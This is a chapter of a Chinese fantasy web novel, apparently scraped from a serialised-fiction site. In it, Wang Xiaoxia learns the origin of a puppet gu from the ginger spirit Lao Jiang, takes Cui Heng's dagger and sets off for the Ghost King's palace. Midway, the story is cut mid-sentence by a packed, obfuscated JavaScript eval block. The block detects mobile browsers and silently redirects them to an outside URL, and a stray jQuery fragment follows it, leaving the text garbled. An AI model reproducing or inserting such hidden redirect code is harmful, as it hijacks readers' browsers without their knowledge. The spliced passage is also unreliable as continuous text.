那刺骨的回忆使得王小下不禁打了个寒颤,好一会儿她才回过神来又想起了老姜的话。
“老姜,你说,那傀儡蛊是崔恒炼的?”王小下坐在地上开口问道,目光清冷而平静。
她似乎猜到了,所以她静静地等待着这一切从老姜的嘴里说出来。
“我记得百年前妖族唯一的大皇子为寻镇魂鼎惨死,妖王悲痛,妖族与鬼族心生嫌隙,偏巧这时有一人自称是妖王在外的私生子,携镇魂鼎回宫,后来那鼎不知怎的就落到了公子手中,当时公子有一兄弟因痴恋一凡人女子向公子寻求傀儡蛊,公子用其心头血为其炼了一个,后来这蛊就不知去向了”老姜回忆着说道,已是百年前的旧事,但他却记忆犹新。
“这蛊并不好炼,一旦种上便是无解”老姜又补充道。
原来如此,王小下不禁苦笑了一下,原来如此啊!怪不得那日在牢房中那狱卒竟会对崔恒一个妖兽那样恭敬,怪不得崔恒不愿提及镇魂鼎之事,只怕妖王那个所谓的私生子便是崔恒假扮的,妖族大皇子命丧谁手也很难说,他的兄弟吗?便是苍泽了吧!
她想起崔恒那日晚上对她说过的那番话,只怕当年救了他的人便是苍泽的父亲了,对了,苍泽是玄冥的儿子,所以苍泽才会对她的族人恨之入骨。
想到这王小下不禁咬着牙冷冷地笑了,一股寒意从后背刺进她的骨子里,她眨了眨眼,目光也跟着变得冰冷。
“既是傀儡又何苦用心头血去炼”王小下不禁冷笑着反问道。
为了杀她一个凡人还用了心头血,何苦来的?
“并不是随便一个人的心头血都可以,须得是动了情的人,只有动了情,母蛊才会护子蛊不死,子蛊方能与母蛊共生,人族寿短,所以也曾有妖族为了心爱的凡人女子去炼这蛊,以求同生共死”老姜解释着说道。
他瞪着眼,瞳孔里淡淡的黄色已经有些混浊,可仍散发着孩童般纯真的光。
王小下不禁苦笑了一下,老姜并不懂那笑得意味,只以为她不信他,于是他又加重了语气说道:
“真的!”
王小下点点头仍是苦涩地笑了笑,她并非不信老姜,只是心里觉得可笑,苍泽若想杀她何其容易,何苦又要费心费力地去炼这傀儡蛊来绑住她的魂魄,使她求生不得求死不能。
动了情吗?真是可笑。
而百年前的崔恒又为了苍泽做过什么呢?他又是被何人所伤?外祖父的死又是否与他有关?
她越想心里便越觉得发凉,她曾以为与这些仇怨无关的人竟也成了参与者,不过崔恒啊!你又是否是因为知道我的身份所以才会对我如此冷淡的呢?王小下不禁自嘲般地冷哼了一声。
“小下,你怎么了?”老姜有些奇怪地看着王小下,不明白她怎么好像突然换了一副面孔。
王小下回过神来,冰冷的目光也随之柔和下来,老姜不过一株草,这许许多多的事怎么都是与他无关的。
“没什么,老姜,我可能要走了”王小下看着老姜轻声说道,浅浅地笑了一下带着苦涩。
她不想将老姜卷入到这一场纷争当中,像老姜这种调料系的植物一般都活不到成精,只因缘巧合下受了妖兽白泽的血,生姜性温正与白泽血相容,这才得了这些许的灵力勉强化成了个人形,虽是老者模样年龄也不过百余岁而已,比她王小下还要小上十几岁呢!
灵力之弱连睡觉都会不小心化回原形,所以她怎么忍心让他参与到这杂乱的肮脏里?
“去哪里?什么时候回来?走几天?”老姜连珠炮般地问道。
他不舍王小下走,公子不在,她若再离开留给老姜的就只有整日的孤独和无尽的寂寥。
“我去办一件事,办好了我就回来”王小下像安慰小孩子般安慰他道,嘴角挂出浅笑,目光却是苦的。
她知道老姜的不舍,却不想欺骗老姜,也不忍他难过。
“那好,那你要快些回来,公子也说等所有事情结束以后他也不走了,到时候我们三个就一起在这里好好的生活,你制你的药,我做我的饭”老姜很是开心地说道,将嘴咧得大大的,对着未来抱有无尽的幻想与希冀。
于他而言,他和公子还有王小下三个人早已是一家人,一家人自然要永远地生活在一起才好。
王小下回以浅笑,眼神里的苦涩却未褪去分毫,她长吸了口气,努力做出一副高兴的样子给老姜看,并不想让他失望,像他这么单纯的植物很不该被世上的纷扰所玷污。
“老姜,我听说冥界的忘川离这里很近,我没见过想去看看”王小下随口说道,装作一脸若无其事的样子。
忘川是离死亡最近的地方,是灵魂的归路,她这个不生不死的灵魂还从未到达过忘川,那里本来该是她的归途。
“百年前妖族鬼族混战,前任鬼王为抵御妖族竟一刀劈开了两界山,在两界山之间形成了一个巨大的崖,那崖深不见底,而崖底的最深处便是忘川;你若想去看看,从这里往西北方向走,腿脚快的话大概一日也便到了,远远的可以看到那里有个最高的高峰,黑压压的高耸入云,翻过那高峰便可看到那不见底的山崖,细一听或有流水之音,那便是鬼界与妖界的交汇之处,那山涧底便是冥界,忘川就在那里”老姜说着又摸了把干枯的胡须,眼睛看着身前干巴巴的草药装出一副很有学问的样子,微微点了点头。
“好”王小下看了眼老姜装模作样的样子忍不住笑着回道。
她叹口气,眼睛又空洞洞地盯着满地的草药沉默着。
“老姜,崔恒说他曾给你留了一把匕首”许久王小下才又开口问道。
“匕首?应该是那一把!”老姜回忆着说道,想起来公子早年间确实留了一把匕首在这里,据说有些来历,可留作防身之用。
“我第一次见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16390190|184248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
公子的时候他受了伤,正有一把匕首插在他的手臂上,我替他取出后公子便将那匕首留在了这里,说是个宝贝可用来防身,不过这里公子早已布下结界,妖鬼都无法靠近,所以百年来那匕首便一直闲置着”老姜想了想又说道。
若今日王小下不提这匕首他都险些将这东西忘了,一直放在房间的床头下边想是灰尘都积得很高了。
“可否借我一用?”王小下只说道。
崔恒说过,这匕首沾染了他的血,白泽的血可聚灵,聚而杀之便足可重伤鬼族。
“可以,我也没什么用处,你若需要送给你好了”老姜说着便痛快地起身去将那匕首取了过来。
老姜对她的事从不过问,对待崔恒也是一样,他只安分地守在这里,做一个能稍微用得上的人就好。
那匕首虽蒙了厚厚的一层灰尘,却被老姜保存得及好,打开布包里面还有两层牛皮纸厚厚地包裹着,因是公子之物所以老姜格外珍视不曾拿来用它。
“老姜,你可舍得吗?”王小下见这刀包得太好有些不忍地问道。
“公子之物,他既允了你拿去便好,我又用不上”老姜倒是十分大方地说道,一把将那牛皮纸扯破露出里边崭新的短刀出来。
这不像是普通的刀,刀鞘上的图案花纹极其精美,只远远看着便觉寒气逼人让人敬畏,不似凡物,倒像是鬼界王族之物,虽是短刀但略显厚重,应曾是男子所用。
王小下伸手接过,这刀有些重量压得她手中一沉,她用力将刀抽出刀鞘,冰冷的寒光直映射在双眼之上,一股腥甜的血腥气味从这刀上传来,是崔恒的。
血迹可以拭去,但气味却经久不散,再细看之下才发现那刀柄上还刻着两个小字:重黎。
王小下淡然一笑将刀收起。
“谢谢你,老姜”她说道。
鬼界的夜总比人间要更显凄凉,阴气森森直逼得人透着骨子里冷起来,王小下本就没有体温自然也感受不到这寒冷,就像这众多鬼族一样。
今夜崔恒没有回来,院子里显得格外寂静,再过两日苍泽将要大婚,他们此刻定然都是在鬼王宫的。
庭院拐角处老姜的房间里躺着一根干巴巴发黄了的草,王小下远远地站着没敢靠近,生怕不小心弄出什么声音来再将他的元神吓散幻化不回人形。她手中拿着白日的那把匕首,沉默了片刻好似下了什么决心一样,或许今夜她也该闯一闯这鬼王宫了。
今夜无事,苍泽与崔恒早早地商量好了大婚地事宜此刻正在殿内休息,鬼王宫的宫殿与人间有所不同,正殿高耸入云,宽大的石质楼梯从那宫殿远远的伸展开来,两侧石柱上亮着无数淡蓝色的鬼火,黑色的锁链又从鬼火里延伸出来缠绕在石柱之上显得十分诡异。
虽是深夜,鬼王宫正门仍有众多阴兵把守,王小下虽有通行证却不能在大晚上的到处乱走,所以她只得从偏门而入。